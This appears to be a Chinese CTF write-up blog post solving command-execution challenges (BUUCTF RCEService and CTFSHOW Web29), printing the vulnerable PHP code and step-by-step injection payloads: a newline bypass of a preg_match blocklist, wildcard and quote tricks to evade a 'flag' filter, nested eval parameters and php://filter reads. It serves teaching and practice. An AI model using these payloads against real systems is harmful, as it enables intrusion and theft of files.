RCE专题-题解

RCE专题-题解(持续更新)


RCE才是网安的浪漫!

BUUCTF

[FBCTF2019]RCEService1

源码如下:

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

过滤了很多,但可以绕过preg_match本身的限制,因为preg_match函数只匹配第一行,所以可以通过换行的方式绕过检测,这里要注意,题目中替换了环境变量,所以只能使用绝对路径的cat命令,即

/bin/cat

首先找到flag位置

?cmd={%0a"cmd":"ls /home/rceservice"%0a}

注意要直接在url中拼接,如果在输入框中输入,那么在传递过程中%0a不能正常被解码为换行。因为当直接在浏览器的地址栏中输入URL时,浏览器会尽量保留大多数字符,因为它假设用户知道自己在做什么。例如,如果你直接输入:

https://example.com/path?param={%0a"cmd":"ls%20/home/rceservice"%0a}

浏览器会将其视为用户手动输入的URL,并尽可能保留字符。这里的冒号(:)和其他特殊字符不会被编码,因为它被视为URL的一部分,符合URL标准。
而当通过HTML表单提交数据时,浏览器会对数据进行编码,以确保其在网络上传输时不会引起问题。浏览器会自动对所有非字母数字字符进行URL编码,包括冒号(:)。例如提交后,浏览器会将输入的数据编码为:

https://example.com/path?param=%7B%20%22cmd%22%3A%22ls%20%2Fhome%2Frceservice%22%20%7D

其中,冒号(:)被编码为 %3A,空格被编码为 %20,大括号({ 和 })被编码为 %7B 和 %7D。
所以如果在输入框输入%0a,那么他会被多url编码一次,最后得到的结果仍有%,就会被preg_match函数识别。
在这里插入图片描述
得到flag位置后,利用/bin/cat读取就好

?cmd={%0A"cmd":"/bin/cat%20/home/rceservice/flag"%0A}

在这里插入图片描述

CTFSHOW

Web29

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];//获取GET型参数名为c
    if(!preg_match("/flag/i", $c)){//匹配c中是否包含flag,/i表示匹配大小写
        eval($c);//没有则执行
    }
    
}else{
    highlight_file(__FILE__);
}

先查看一下目录下有什么文件

?c=system('ls');

在这里插入图片描述
要读取flag文件,但不能包含flag
1、可以利用通配符解决,例如

?c=system('cat fla*');

在这里插入图片描述
或者使用fla’'g.php,以及?占位

c=system('cat fla*');
c=system('tac fla*');
c=system('cat fla''g.php');

2、还可以使用nl命令进行回显 nl命令在Linux系统中用来计算文件的行号

源文件:
在这里插入图片描述

输出效果:

在这里插入图片描述

反引号可以将其中的内容当作命令执行

c=echo `nl fla*`;

3、利用文件包含,嵌套传入一个a参数

c=eval($_GET[a]);&a=system('cat fla*');

或者其他的文件包含方式:include、require

利用伪协议读取数据(include包含的php是不会显示在页面中的)

c=require($_GET[a]);&a=php://filter/read=convert.base64-encode/resource=flag.php
c=include($_GET[a]);&a=php://filter/read=convert.base64-encode/resource=flag.php

这里的convert.base64-encode是一种转换过滤器,对数据流进行编码,通常用来读取文件源码。read用于设置读链的过滤器。

4、还可以将flag.php文件内容写入另一个文件中,读取另一个文件即可

c=system('cp fla* 2.txt');

5、更换执行命令的函数,利用exec()、passthru()等也可以执行命令

c=echo exec('cat fl*');
c=passthru('cat fl*');#需要查看源代码
c=echo shell_exec("cat f*");#需要查看源代码
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值